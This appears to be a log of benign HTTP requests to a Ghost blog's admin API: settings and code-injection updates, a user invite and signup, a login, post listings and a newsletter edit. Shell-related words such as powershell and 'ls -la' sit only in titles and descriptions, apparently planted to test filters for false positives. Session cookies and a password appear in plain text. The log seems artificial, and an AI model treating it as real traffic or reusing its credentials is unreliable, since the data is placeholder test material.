{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
